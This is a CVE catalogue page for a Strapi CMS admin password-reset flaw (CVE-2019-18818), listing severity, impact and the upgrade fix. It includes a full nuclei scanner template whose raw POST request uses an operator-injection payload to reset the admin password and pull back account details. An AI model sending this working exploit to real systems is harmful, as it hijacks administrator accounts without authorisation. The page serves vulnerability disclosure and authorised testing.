Browse / CVEs / CVE-2019-18818
CVE-2019-18818· strapi / strapi· CWE-640
strapi CMS <3.0.0-beta.17.5 - Admin Password Reset
criticalseverity
9.8CVSS score
97.5%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
strapi CMS before 3.0.0-beta.17.5 allows admin password resets because it mishandles password resets within packages/strapi-admin/controllers/Auth.js and packages/strapi-plugin-users-permissions/controllers/Auth.js.
Impact
An attacker can exploit this vulnerability to reset the admin password and gain unauthorized access to the Strapi CMS admin panel.
Fix
Upgrade Strapi CMS to a version higher than 3.0.0-beta.17.5 to mitigate the vulnerability.
How to confirm it
Send: POST /admin/auth/reset-password
Positive when: contains in header "application/json" AND contains "\"username\":" and "\"email\":" and "\"jwt\":" AND status 200Run it with nuclei: nuclei -id CVE-2019-18818 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2019-18818
info:
name: strapi CMS <3.0.0-beta.17.5 - Admin Password Reset
author: idealphase
severity: critical
description: strapi CMS before 3.0.0-beta.17.5 allows admin password resets because it mishandles password resets within packages/strapi-admin/controllers/Auth.js and packages/strapi-plugin-users-permissions/controllers/Auth.js.
impact: |
An attacker can exploit this vulnerability to reset the admin password and gain unauthorized access to the Strapi CMS admin panel.
remediation: |
Upgrade Strapi CMS to a version higher than 3.0.0-beta.17.5 to mitigate the vulnerability.
reference:
- https://github.com/advisories/GHSA-6xc2-mj39-q599
- https://www.exploit-db.com/exploits/50239
- https://nvd.nist.gov/vuln/detail/CVE-2019-18818
- https://github.com/strapi/strapi/releases/tag/v3.0.0-beta.17.5
- https://github.com/strapi/strapi/pull/4443
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2019-18818
cwe-id: CWE-640
epss-score: 0.97476
epss-percentile: 0.99899
cpe: cpe:2.3:a:strapi:strapi:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: strapi
product: strapi
tags: cve,cve2019,strapi,auth-bypass,intrusive,edb,vkev,vuln
http:
- raw:
- |
POST /admin/auth/reset-password HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
Content-Type: application/json
{"code": {"$gt": 0}, "password": "SuperStrongPassword1", "passwordConfirmation": "SuperStrongPassword1"}
matchers-condition: and
matchers:
- type: word
part: header
words:
- "application/json"
- type: word
part: body
words:
- '"username":'
- '"email":'
- '"jwt":'
condition: and
- type: status
status:
- 200
extractors:
- type: json
json:
- .user.username
- .user.emailReferences
- https://github.com/advisories/GHSA-6xc2-mj39-q599
- https://www.exploit-db.com/exploits/50239
- https://nvd.nist.gov/vuln/detail/CVE-2019-18818
- https://github.com/strapi/strapi/releases/tag/v3.0.0-beta.17.5
- https://github.com/strapi/strapi/pull/4443
Use this check only on systems you are authorised to test. Where the data comes from